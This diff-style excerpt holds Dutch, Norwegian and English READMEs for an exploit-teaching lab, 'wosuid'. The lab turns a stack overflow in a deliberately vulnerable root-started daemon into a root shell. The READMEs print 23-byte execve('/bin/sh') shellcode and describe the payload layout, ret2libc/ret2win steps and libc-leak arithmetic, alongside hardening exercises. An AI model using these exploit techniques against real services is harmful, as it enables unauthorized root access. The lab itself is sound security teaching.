||||
BUF=0x7ffd… (het bufferadres)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` is het *"ben ik root?"*-kanaal. foowosc print een luide
|
||||
waarschuwing wanneer euid niet 0 is (dus je startte de daemon als gewone
|
||||
gebruiker): de payload landt nog steeds, maar de shell wordt een
|
||||
gebruiker-shell, en het exploit "kapot" noemen zou fout zijn — hij escaleert
|
||||
alleen niet.
|
||||
|
||||
> Spellingsnoot: `ids=`, niet `euid=`/`ruid=`. De test-harness bewijst een
|
||||
> levende `id` door de letterlijke vorm `uid=NNN(` te matchen, dus het banner
|
||||
> mag nooit een deelstring bevatten die zelf aan de controle voldoet. (In het
|
||||
> SUID-lab produceerde precies die val een spectaculaire fout-positief.)
|
||||
|
||||
---
|
||||
|
||||
## De exploit-technieken (`foowosc -t …`)
|
||||
|
||||
Alle vier de exploit-paden hieronder werken tegen foowosd. Wanneer de daemon
|
||||
root is, geeft **alles dat iets spawnt root** — in tegenstelling tot het
|
||||
SUID-lab, waar ret2win/ret2libc stilletjes door de wacht van bash naar uid 1000
|
||||
werden gedegradeerd. Hier is er geen mismatch om te bewaken.
|
||||
|
||||
| `-t` | wat er gebeurt | wanneer de daemon root is |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` draait op de stack. | **root-shell** (standaard) |
|
||||
| `ret2win` | sprong naar `win()` → `execl("/bin/sh")` | **root-shell** |
|
||||
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
|
||||
| `demo` | alleen rommel-overloop — verwacht een SIGSEGV in de daemonlog | crash, volgens ontwerp |
|
||||
| `leak` | print alleen leaks, stuurt geen payload | n.v.t. |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interactief; standaardtarget 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # sturen en rapporteren, geen interactieve sessie
|
||||
```
|
||||
|
||||
Een succesvolle interactieve sessie schakelt je terminal door naar de shell *op
|
||||
het slachtoffer* — er is precies één shell in het beeld, en dat is `/bin/sh`
|
||||
die als root binnenin foowosd draait. Typ `id` om `uid=0(root)` te zien.
|
||||
|
||||
### Waarom er hier geen `ret2win-root`-techniek is
|
||||
|
||||
foosc had er één — die sprong naar een `win_root()` die `setreuid(0,0)` aanriep
|
||||
vóór exec, omdat een setuid-proces draaide met een reële uid die nog 1000 zei.
|
||||
Een root-*gestart* proces heeft de reële uid al 0; er valt niets op te ruimen,
|
||||
dus de extra functie en techniek zouden niets leren. Verwijderd.
|
||||
|
||||
---
|
||||
|
||||
## Wat foowosc doet, stap voor stap
|
||||
|
||||
1. **Statische analyse** — `objdump -d` van `./foowosd`. Vindt
|
||||
`vulnerable_handler`, `win()`, de `lea -0x50(%rbp)` die `buf` adresseert,
|
||||
en de eerste kale `ret`. Uit de verplaatsing berekent het
|
||||
`rip_off = 80 + 8 = 88`. Niets is hardcoded; het overleeft een herbouw.
|
||||
2. **Zelf-introspectie** — leest zijn eigen `/proc/self/maps` en `dlsym()`t
|
||||
`system`/`read` om de libc-*offsets* te leren. De libc-base van het
|
||||
doelwit is `leaked_read − off_read`, daarna `system = base + off_system`,
|
||||
enz. Die delta-rekenkunde is de reden dat exploits libc-versies overleven.
|
||||
3. **Verbind** — leest het banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||
4. **Bouw de payload** — voor `shellcode`: 23 bytes machinecode, padding tot
|
||||
`rip_off`, daarna de opgeslagen RIP = `buf` (zodat de `ret` op de code
|
||||
springt). Voor `ret2win`/`ret2libc`: adressen berekend uit de analyse —
|
||||
geen stackuitvoering nodig.
|
||||
5. **De uitlijnfix** — een gekaapte kale `ret` geeft de callee
|
||||
`rsp ≡ 8 (mod 16)`, en glibc's SSE2-code faalt met `movaps` op een
|
||||
niet-uitgelijnde stack (de crash-reporter logt `si_addr=(nil)` — de hint).
|
||||
foowosc plaatst één extra `ret`-gadget vóór het echte doelwit en herstelt de
|
||||
invariant. Een zijdenhandschoentechniek in een shellcode-lab, maar het is
|
||||
het verschil tussen een payload die "soms werkt" en een die altijd werkt.
|
||||
6. **Stuur, daarna schakel door** — het doelproces *is* de shell; dit proces
|
||||
splist alleen bytes. Geen lokale shell, geen andere lezer — de
|
||||
single-read-cursor-bug (één opgegeten byte per chunk) is gedocumenteerd in
|
||||
`become_shell()`.
|
||||
|
||||
---
|
||||
|
||||
## De bewuste bugs van de daemon (allemaal in `foowosd.c`, allemaal echte CWE-klassen)
|
||||
|
||||
| # | bug | CWE | notitie |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` in een 64-byte stack-buffer | CWE-120 | de overloop: 448 bytes voorbij `buf`, opgeslagen RIP op +88 |
|
||||
| 2 | alleen `snprintf(line, …, "%.*s", …)`; maar aanvaller-`%` in het echo-pad | CWE-134 | het lek is hier de echte payload; een `%n` in een *root*-proces zou write-what-where als root zijn |
|
||||
| 3 | kinderen behouden root terwijl ze onbetrouwbare input afhandelen | CWE-271 | de correcte `drop_privs()` (setgroups→setgid→setuid, in die volgorde, met verificatie) staat in het bestand, gecommentarieerd, *bewust nooit aangeroepen* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` onthuld aan elke client | CWE-200 | zonder deze leaks konden de shellcode- en ret2libc-technieken geen adressen berekenen (ASLR zou ze verslaan) |
|
||||
|
||||
De handler heeft precies dezelfde `buf[64]`/`read(512)`-vorm als de twee andere
|
||||
labs, dus de gedeelde objdump-gebaseerde herkenningspipeline werkt ongewijzigd.
|
||||
|
||||
---
|
||||
|
||||
## Zo inspecteer je de daemon (leerpad)
|
||||
|
||||
```
|
||||
make status # draait hij? als welke uid? bestandstoestand wordt getoond
|
||||
make run-root # of run / run-root-ns
|
||||
./foowosc -t leak # zie het banner en leaks, stuur niets
|
||||
./foowosc -t demo # rommel-overloop -> SIGSEGV, gelogd met RIP/rsp
|
||||
./foowosc -t shellcode # de interactieve root-shell
|
||||
make test-root # volledige matrix, alle technieken, --must-root
|
||||
```
|
||||
|
||||
Crash-reporter: Bij SIGSEGV logt de daemon het foutadres, RIP en RSP. Een `ret`
|
||||
in een niet-canonieke `0x4141…` faalt bij de `ret` zelf (RIP als `0x4028xx`,
|
||||
`si_addr=(nil)`) — goed om te weten vóór je een logregel als NULL-dereferentie
|
||||
verkeerd leest.
|
||||
|
||||
---
|
||||
|
||||
## Waarom de shellcode 23 bytes is, niet 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
Het SUID-lab heeft `setreuid(0,0)` vóór dit nodig. Dit lab niet, om de reden
|
||||
die overal herhaald wordt: **ruid is al 0**, omdat root het proces startte.
|
||||
`make verify` bewijst dat de bytes in `foowosc.c` byte-voor-byte zijn wat
|
||||
`shellcode.S` assembleren tot.
|
||||
|
||||
---
|
||||
|
||||
## Tegenmaatregelen — wat `make hardened` verandert
|
||||
|
||||
Geharde build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||
|
||||
| techniek | kwetsbare `foowosd` | geharde `foowosd_hardened` |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | root-shell (uitvoerbare stack) | SIGSEGV bij de canary-controle / NX |
|
||||
| `ret2win` / `ret2libc` | root-shell | canary aborted de `ret` — maar merk: een *PIE*-build maakt deze adressen ook willekeurig |
|
||||
| `demo` | SIGSEGV, gelogd | SIGSEGV, gelogd |
|
||||
|
||||
`make test-hardened` demonstreert het live. De belangrijke observatie is niet
|
||||
alleen dat de tegenmaatregelen de technieken doodden — het is dat ze de daemon
|
||||
**niet** "niet-root" maakten. Een geharde build die nog steeds als root
|
||||
*gestart* wordt, is nog steeds een root-daemon; de tegenmaatregel verhoogt
|
||||
alleen de lat voor de aanvaller. Minste privilege (`drop_privs()`) en
|
||||
geheugenveiligheid zijn twee verschillende bugs, en een daemon die geen root
|
||||
nodig heeft, zou het niet moeten hebben.
|
||||
|
||||
---
|
||||
|
||||
## Veiligheidsleuningen (zelfde beleid als het SUID-lab)
|
||||
|
||||
- **Alleen loopback.** foowosd weigert iets anders dan `127.0.0.1` /
|
||||
`localhost` / `::1` te binden, tenzij je `-L` geeft. Een root-daemon op een
|
||||
echte interface is een *externe* root-dienst. `-L` bestaat alleen om de
|
||||
wacht te tonen; gebruik het niet op iets dat ertoe doet.
|
||||
- **De toestand wordt luid gelogd.** Bij de start print hij `ruid/euid` en of
|
||||
dit een root-proces is, zodat je altijd weet welk exploit-resultaat je moet
|
||||
verwachten.
|
||||
- **Oordelen komen uit exit-status** in `make test*` (de retourcode van de
|
||||
pty-harness), nooit uit het greppen van zijn stdout — grepbare output liegt.
|
||||
- **De pty moet cooked + ECHO off draaien**, anders echoët de harness zijn
|
||||
eigen commandoregel en vervalst de markering. De harness zet ECHO uit en
|
||||
houdt ECHONL aan.
|
||||
- **Opruimritueel:** `make stop` na elke sessie. Als de daemon root-bezeten
|
||||
is, zegt `stop` je `sudo pkill -x foowosd` te draaien.
|
||||
- Draai dit nooit op een host waar je om geeft. Het bestaat om `uid=0`-shells
|
||||
over de loopback-interface uit te delen.
|
||||
|
||||
---
|
||||
|
||||
## Oefeningen
|
||||
|
||||
1. Draai `make run` (user-daemon), daarna `./foowosc -t shellcode`. Waarom is
|
||||
de shell niet root? (Check `ids=` in het banner — foowosc zegt het je vóór
|
||||
je überhaupt verbindt.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Verklaar aan de hand
|
||||
van de bannerregel waarom alle vier de technieken nu `uid=0(root)` geven.
|
||||
3. Vind in `foowosd.c` `drop_privs()` en lees *waarom de volgorde* van
|
||||
`setgroups → setgid → setuid` ertoe doet. Bepaal waar in `main()` hij thuis
|
||||
zou horen, en wat het aanvalsoppervlak van het lab wordt wanneer hij
|
||||
daadwerkelijk wordt aangeroepen.
|
||||
4. Bereken `rip_off` met de hand uit `objdump -d foowosd`: vind de
|
||||
`lea -0xNN(%rbp)` van `buf` binnenin `vulnerable_handler`, daarna `NN + 8`.
|
||||
foowosc doet precies dat; controleer zijn rekensom tegen de jouwe.
|
||||
5. `make hardened && make test-hardened`. Welke techniek valt voor de canary,
|
||||
en welke voor NX? Waarom verandert harden niet wat `make status` over *het
|
||||
proces* rapporteert?
|
||||
6. Vergelijk de shellcodes van de twee labs: 23 bytes hier, 32 voor foosd. Wat
|
||||
doen de extra 9 bytes, en waarom zijn ze alleen in het SUID-geval nodig?
|
||||
7. Lees de commentaar van `become_shell()` over de enkele lees-cursor. Maak de
|
||||
faaltoestand mentaal na: twee lezers op één socket betekent dat de
|
||||
login-shell één byte per chunk eet — "uid=1000…" arriveert als "id=1000…".
|
||||
Waarom kan een relay-proces deze bug nooit hebben?
|
||||
|
||||
---
|
||||
|
||||
## Bestanden
|
||||
|
||||
```
|
||||
foowosd.c de kwetsbare root-daemon (elke regel gecommentarieerd)
|
||||
foowosc.c het exploit (elke regel gecommentarieerd)
|
||||
shellcode.S referentie-assembly voor de 23-byte-payload
|
||||
tests/pty_wosuid_test.c de pty-harness (markering + strikte id-vorm-controle)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Zuster-labs: `../food.c`/`../fooc.c` (user-level-baseline, poort 2342) en
|
||||
`../suid/` (SUID-root-daemon `foosd`/`foosc`, poort 2343). De poorten zijn
|
||||
bewust verschillend — je kunt alle drie tegelijk draaien en hun `ids=`-regels
|
||||
in het banner kruislings controleren.
|
||||
309
wosuid/README.NO.md
Normal file
309
wosuid/README.NO.md
Normal file
|
|
@ -0,0 +1,309 @@
|
|||
# `wosuid`-laboratoriet — root-RCE **uten** setuid-bit
|
||||
|
||||
```
|
||||
foowosd en bevisst sårbar daemon som er root fordi den ble *STARTET* som
|
||||
root (port 2344, bare loopback som standard)
|
||||
foowosc exploitet: forvandler et stack-overløp til en **root**-shell ved å
|
||||
utføre shellcode — de samme 23 bytene som knekte user-level-
|
||||
`food`-daemonen i hovedlaboratoriet
|
||||
```
|
||||
|
||||
Det er det tredje laboratoriet i serien. Samme exploit-verktøykjede, samme
|
||||
stil, én fundamental forskjell:
|
||||
|
||||
| Laboratorium | hvordan målprosessen blir root | `uid=0(root)`-shell? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc| aldri — det er en vanlig user-daemon | nei |
|
||||
| foosd/foosc | SUID-biten (`chmod u+s`) — euid 0, ruid 1000 | ja (krever `setreuid` i shellcoden, fordi bash nullstiller euid→ruid) |
|
||||
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (vanlig `execve`-shellcode)** |
|
||||
|
||||
Setuid-biten er et *transportmiddel* for privilegier — ikke privilegiene selv.
|
||||
En daemon startet av root har reell, effektiv og lagret uid alle lik 0. For
|
||||
kjernen er det root, punktum; den kan og vil ikke vite om prosessen kom dit via
|
||||
`+s` på en fil eller via `sudo ./foowosd`. Overløpet i en root-startet daemon er
|
||||
altså et root-exploit — *«jeg har ingen SUID-binærfiler» er ikke det samme som
|
||||
«jeg er ikke utnyttbar».*
|
||||
|
||||
Det er hele leksjonen i dette laboratoriet. Alt nedenfor er maskineriet.
|
||||
|
||||
---
|
||||
|
||||
## Rask start (det brukeren ba om)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # bygger daemonen, exploitet og test-harnessen
|
||||
```
|
||||
|
||||
### Det ekte — kjør daemonen som **root**
|
||||
|
||||
```
|
||||
sudo make run-root # starter foowosd som uid 0 (prosess, ikke filtillstand)
|
||||
make test-root # hver teknikk skal nå gi uid=0(root)
|
||||
```
|
||||
|
||||
### Ikke sudo? Den identiske kjernesti via en user-namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 i en user-namespace — ingen passord nødvendig
|
||||
make test-root # samme dommer; brukes av CI og alle uten sudo
|
||||
```
|
||||
|
||||
### Baseline — daemon som din vanlige bruker (intet root noen steder)
|
||||
|
||||
```
|
||||
make run # foowosd kjører med dine uid-er
|
||||
make test # exploits lander shells, men `root` forventes MISSING
|
||||
```
|
||||
|
||||
### Oppryddingsritual (alltid: dette er et root-shell-laboratorium)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` er *ikke* setuid, og intet i dette biblioteket gjør noen gang
|
||||
`chmod +s` — det er poenget. Den farlige tilstanden er **prosessen**, ikke
|
||||
filen.
|
||||
|
||||
---
|
||||
|
||||
## Når du blir bedt om å sette SUID-biten
|
||||
|
||||
Det blir du **ikke**. Dette laboratoriet har bevisst ingen SUID-bit:
|
||||
|
||||
- `foowosd` bygges, eies og har vanlige tillstander som ethvert annet program.
|
||||
- Det blir root, som ekte daemoner gjør — ved å bli *startet* av root.
|
||||
- `make run-root` bruker `sudo` til nøyaktig det, og `make run-root-ns` skaffer
|
||||
en ekte uid-0-prosess helt uten noe av det.
|
||||
|
||||
Suid-biten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellom de to
|
||||
er pensum:
|
||||
|
||||
1. SUID-laboratoriet: biten gir **euid 0, men ruid 1000** →
|
||||
`execve("/bin/sh")` nedgraderes av bashs vakt (`euid != ruid` → reset) →
|
||||
shellcoden må først kalle `setreuid(0,0)` (32-byte-payload).
|
||||
2. Dette laboratoriet: root **starter** prosessen → **ruid == euid == 0** →
|
||||
vakten har ingenting å nullstille → den vanlige 23-byte `execve`-shellcoden
|
||||
beholder root.
|
||||
|
||||
Samme overløp. Samme teknikk. Forskjellig *opprinnelse* av privilegier,
|
||||
annerledes payload-form. Det er leksjonen i miniatyr.
|
||||
|
||||
---
|
||||
|
||||
## Protokollen
|
||||
|
||||
Uansett hvilken slags klient som kobler til, hilser foowosd på den med:
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
|
||||
BUF=0x7ffd… (bufferadressen)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` er *«er jeg root?»*-sidekanalen. foowosc skriver ut en høy
|
||||
advarsel når euid ikke er 0 (dvs. du startet daemonen som en vanlig bruker):
|
||||
payloaden lander fortsatt, men shellen blir en bruker-shell, og å kalle
|
||||
exploitet «i stykker» ville vært feil — det eskalerer bare ikke.
|
||||
|
||||
> Staveform-merknad: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser en
|
||||
> levende `id` ved å matche den bokstavelige formen `uid=NNN(`, så banneret må
|
||||
> aldri inneholde en delstreng som selv oppfyller sjekken. (I SUID-laboratoriet
|
||||
> produserte nøyaktig den fellen et spektakulært falskt positivt.)
|
||||
|
||||
---
|
||||
|
||||
## Exploit-teknikkene (`foowosc -t …`)
|
||||
|
||||
Alle fire exploit-stiene nedenfor virker mot foowosd. Når daemonen er root,
|
||||
gir **alle som spawner noe, root** — i motsetning til SUID-laboratoriet der
|
||||
ret2win/ret2libc stille og rolig ble nedgradert til uid 1000 av bashs vakt. Her
|
||||
er det intet mismatch å vokte mot.
|
||||
|
||||
| `-t` | hva som skjer | når daemonen er root |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kjører på stacken. | **root-shell** (standard) |
|
||||
| `ret2win` | hopp til `win()` → `execl("/bin/sh")` | **root-shell** |
|
||||
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
|
||||
| `demo` | bare søppel-overløp — forvent et SIGSEGV i daemonloggen | krasj, etter design |
|
||||
| `leak` | skriver bare ut leaks, sender ingen payload | n/a |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv økt
|
||||
```
|
||||
|
||||
En vellykket interaktiv økt videresender terminalen din til shellen *på
|
||||
offeret* — det er nøyaktig én shell i bildet, og det er `/bin/sh` som kjører
|
||||
som root inne i foowosd. Skriv `id` for å se `uid=0(root)`.
|
||||
|
||||
### Hvorfor det ikke finnes noen `ret2win-root`-teknikk her
|
||||
|
||||
foosc hadde én — den hoppet til et `win_root()` som kalte `setreuid(0,0)` før
|
||||
exec, fordi en setuid-prosess kjørte med en reell uid som fortsatt sa 1000. En
|
||||
root-*startet* prosess har den reelle uid-en allerede 0; det er ingenting å
|
||||
rydde, så den ekstra funksjonen og teknikken ville ikke lært noe. Fjernet.
|
||||
|
||||
---
|
||||
|
||||
## Hva foowosc gjør, steg for steg
|
||||
|
||||
1. **Statisk analyse** — `objdump -d` av `./foowosd`. Finner
|
||||
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)` som adresserer `buf`,
|
||||
og det første nakne `ret`. Ut fra forskyvningen beregner det
|
||||
`rip_off = 80 + 8 = 88`. Ingenting er hardkodet; det overlever en ombygging.
|
||||
2. **Selv-introspeksjon** — leser sitt eget `/proc/self/maps` og `dlsym()`er
|
||||
`system`/`read` for å lære libc-*offsets*. Targetets libc-base er
|
||||
`leaked_read − off_read`, deretter `system = base + off_system`, osv. Denne
|
||||
delta-aritmetikken er grunnen til at exploits overlever libc-versjoner.
|
||||
3. **Koble til** — leser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||
4. **Bygg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
|
||||
`rip_off`, deretter den lagrede RIP = `buf` (så `ret` hopper inn på koden).
|
||||
For `ret2win`/`ret2libc`: adresser beregnet ut fra analysen — ingen
|
||||
utførelse av stacken nødvendig.
|
||||
5. **Justeringsfixen** — et kapret nakent `ret` gir callee-en
|
||||
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-feiler på en ikke-justert
|
||||
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeket). foowosc
|
||||
setter inn ett ekstra `ret`-gadget før det ekte målet og gjenoppretter
|
||||
invarianten. Silkehansketeknikk i et shellcode-laboratorium, men det er
|
||||
forskjellen mellom en payload som «noen ganger virker» og en som alltid
|
||||
virker.
|
||||
6. **Send, deretter videresend** — offerprosessen *er* shellen; denne prosessen
|
||||
splisser bare bytes. Ingen lokal shell, ingen annen leser —
|
||||
single-read-cursor-feilen (ett spist byte per chunk) er dokumentert i
|
||||
`become_shell()`.
|
||||
|
||||
---
|
||||
|
||||
## Daemonens bevisste feil (alle i `foowosd.c`, alle ekte CWE-klasser)
|
||||
|
||||
| # | feil | CWE | notat |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` inn i et 64-byte stack-buffer | CWE-120 | overløpet: 448 bytes forbi `buf`, lagret RIP ved +88 |
|
||||
| 2 | bare `snprintf(line, …, "%.*s", …)`; men angriper-`%` i ekko-stien | CWE-134 | leaket er her den reelle payloaden; et `%n` i en *root*-prosess ville vært write-what-where som root |
|
||||
| 3 | barn beholder root mens de håndterer upålitelige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rekkefølgen, med verifikasjon) står i filen, kommentert, *bevisst aldri kalt* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` avslørt til enhver klient | CWE-200 | uten disse leaks kunne ikke shellcode- og ret2libc-teknikkene beregne adresser (ASLR ville beseiret dem) |
|
||||
|
||||
Handleren har nøyaktig samme `buf[64]`/`read(512)`-form som de to andre
|
||||
laboratoriene, så den felles objdump-baserte oppdagelsespipelinen virker
|
||||
uendret.
|
||||
|
||||
---
|
||||
|
||||
## Slik inspiserer du daemonen (læringssti)
|
||||
|
||||
```
|
||||
make status # kjører den? som hvilken uid? filtillstand vises
|
||||
make run-root # eller run / run-root-ns
|
||||
./foowosc -t leak # se banneret og leaks, send ingenting
|
||||
./foowosc -t demo # søppel-overløp -> SIGSEGV, logget med RIP/rsp
|
||||
./foowosc -t shellcode # den interaktive root-shellen
|
||||
make test-root # full matrise, alle teknikkene, --must-root
|
||||
```
|
||||
|
||||
Crash-reporter: Ved SIGSEGV logger daemonen feiladressen, RIP og RSP. Et `ret`
|
||||
inn i en ikke-kanonisk `0x4141…` feiler ved `ret`-et selv (RIP som `0x4028xx`,
|
||||
`si_addr=(nil)`) — verdt å vite før du feilleser en logglinje som en
|
||||
NULL-dereferanse.
|
||||
|
||||
---
|
||||
|
||||
## Hvorfor shellcoden er 23 bytes, ikke 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
SUID-laboratoriet trenger `setreuid(0,0)` foran dette. Dette laboratoriet ikke,
|
||||
av den grunnen som gjentas overalt: **ruid er allerede 0**, fordi root startet
|
||||
prosessen. `make verify` beviser at bytene i `foowosc.c` er byte-for-byte det
|
||||
`shellcode.S` assemblerer til.
|
||||
|
||||
---
|
||||
|
||||
## Mottiltak — hva `make hardened` endrer
|
||||
|
||||
Hardet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||
|
||||
| teknikk | sårbar `foowosd` | hardet `foowosd_hardened` |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | root-shell (kjørbar stack) | SIGSEGV ved canary-sjekken / NX |
|
||||
| `ret2win` / `ret2libc` | root-shell | canary aborter `ret` — men merk: en *PIE*-build gjør også disse adressene tilfeldige |
|
||||
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
|
||||
|
||||
`make test-hardened` demonstrerer det live. Den viktige observasjonen er ikke
|
||||
bare at mottiltakene drepte teknikkene — det er at de **ikke** gjorde daemonen
|
||||
til «ikke-root». En hardet build som fortsatt *startes* som root, er fortsatt en
|
||||
root-daemon; mottiltaket hever bare lista for angriperen. Minste privilegium
|
||||
(`drop_privs()`) og minnesikkerhet er to forskjellige feil, og en daemon som
|
||||
ikke trenger root, bør ikke ha det.
|
||||
|
||||
---
|
||||
|
||||
## Sikkerhetsgelendere (samme politikk som SUID-laboratoriet)
|
||||
|
||||
- **Bare loopback.** foowosd nekter å binde noe annet enn `127.0.0.1` /
|
||||
`localhost` / `::1`, med mindre du gir `-L`. En root-daemon på et ekte
|
||||
grensesnitt er en *fjern* root-tjeneste. `-L` finnes bare for å vise vakten;
|
||||
ikke bruk den på noe som betyr noe.
|
||||
- **Tilstanden logges høyt.** Ved start skriver den ut `ruid/euid` og om dette
|
||||
er en root-prosess, så du alltid vet hvilket exploit-resultat du skal vente.
|
||||
- **Dommer kommer fra exit-status** i `make test*` (pty-harnessens
|
||||
returkode), aldri fra å greppe stdout-en dens — grepbar utdata lyver.
|
||||
- **pty-en må kjøre cooked + ECHO off**, ellers ekkoer harnessen sin egen
|
||||
kommandolinje og forfalsker markøren. Harnessen slår av ECHO og beholder
|
||||
ECHONL på.
|
||||
- **Oppryddingsritual:** `make stop` etter hver økt. Hvis daemonen er
|
||||
root-eid, sier `stop` deg å kjøre `sudo pkill -x foowosd`.
|
||||
- Kjør aldri dette på en vert du bryr deg om. Det finnes for å dele ut
|
||||
`uid=0`-shells over loopback-grensesnittet.
|
||||
|
||||
---
|
||||
|
||||
## Øvelser
|
||||
|
||||
1. Kjør `make run` (user-daemon), deretter `./foowosc -t shellcode`. Hvorfor er
|
||||
shellen ikke root? (Sjekk `ids=` i banneret — foowosc sier deg det før du i
|
||||
det hele tatt kobler til.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Forklar ut fra
|
||||
bannerlinjen hvorfor alle fire teknikkene nå gir `uid=0(root)`.
|
||||
3. Finn i `foowosd.c` `drop_privs()` og les *hvorfor rekkefølgen* av
|
||||
`setgroups → setgid → setuid` betyr noe. Bestem hvor i `main()` den ville
|
||||
hørt hjemme, og hva laboratoriets angrepsflate blir når den faktisk kalles.
|
||||
4. Beregn `rip_off` for hånd ut fra `objdump -d foowosd`: finn `buf`s
|
||||
`lea -0xNN(%rbp)` inne i `vulnerable_handler`, deretter `NN + 8`. foowosc
|
||||
gjør nøyaktig det; sjekk regnestykket dens mot ditt eget.
|
||||
5. `make hardened && make test-hardened`. Hvilken teknikk faller for canaryen,
|
||||
og hvilken for NX? Hvorfor endrer ikke hærdning hva `make status` rapporterer
|
||||
om *prosessen*?
|
||||
6. Sammenlign de to laboratorienes shellcodes: 23 bytes her, 32 for foosd. Hva
|
||||
gjør de ekstra 9 bytene, og hvorfor trengs de bare i SUID-tilfellet?
|
||||
7. Les `become_shell()`s kommentar om den enkelte lese-cursoren. Gjenskap
|
||||
feiltilstanden mentalt: to lesere på én socket betyr at login-shellen spiser
|
||||
ett byte per chunk — «uid=1000…» ankommer som «id=1000…». Hvorfor kan en
|
||||
relay-prosess aldri ha denne feilen?
|
||||
|
||||
---
|
||||
|
||||
## Filer
|
||||
|
||||
```
|
||||
foowosd.c den sårbare root-daemonen (hver linje kommentert)
|
||||
foowosc.c exploitet (hver linje kommentert)
|
||||
shellcode.S referanse-assembly for 23-byte-payloaden
|
||||
tests/pty_wosuid_test.c pty-harnessen (markør + streng id-form-sjekk)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
|
||||
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevisst
|
||||
forskjellige — du kan kjøre alle tre samtidig og kryssjekke `ids=`-linjene
|
||||
deres i banneret.
|
||||
305
wosuid/README.md
Normal file
305
wosuid/README.md
Normal file
|
|
@ -0,0 +1,305 @@
|
|||
# The `wosuid` lab — root RCE with **no** setuid bit
|
||||
|
||||
```
|
||||
foowosd an intentionally vulnerable daemon that is root because it was
|
||||
*STARTED* as root (port 2344, loopback-only by default)
|
||||
foowosc the exploit: turns a stack overflow into a **root** shell by
|
||||
executing shellcode — same 23 bytes that pwned the user-level
|
||||
`food` daemon in the parent lab
|
||||
```
|
||||
|
||||
This is the third lab in the series. Same exploit toolchain, same style, one
|
||||
fundamental difference:
|
||||
|
||||
| lab | how the target process becomes root | `uid=0(root)` shell? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc| never — it is a plain user daemon | no |
|
||||
| foosd/foosc | the SUID bit (`chmod u+s`) — euid 0, ruid 1000 | yes (needs `setreuid` in the shellcode, because bash resets euid→ruid) |
|
||||
| **foowosd/foowosc** | **none — root *starts* the daemon** (sudo / systemd `User=root`) | **yes (plain `execve` shellcode)** |
|
||||
|
||||
The setuid bit is a *transfer vehicle* for privilege — not the privilege
|
||||
itself. A daemon launched by root has real, effective and saved uid all equal
|
||||
to 0. To the kernel that is root, period; it cannot and does not care whether
|
||||
the process got there via `+s` on a file or via `sudo ./foowosd`. So the
|
||||
overflow in a root-started daemon is a root exploit — *"I don't have SUID
|
||||
binaries" is not the same as "I am not exploitable".*
|
||||
|
||||
That is the whole lesson of this lab. Everything below is the machinery.
|
||||
|
||||
---
|
||||
|
||||
## Quick start (what the user requested)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # build the daemon, the exploit, and the test harness
|
||||
```
|
||||
|
||||
### The real thing — run the daemon as **root**
|
||||
|
||||
```
|
||||
sudo make run-root # starts foowosd as uid 0 (process, not file mode)
|
||||
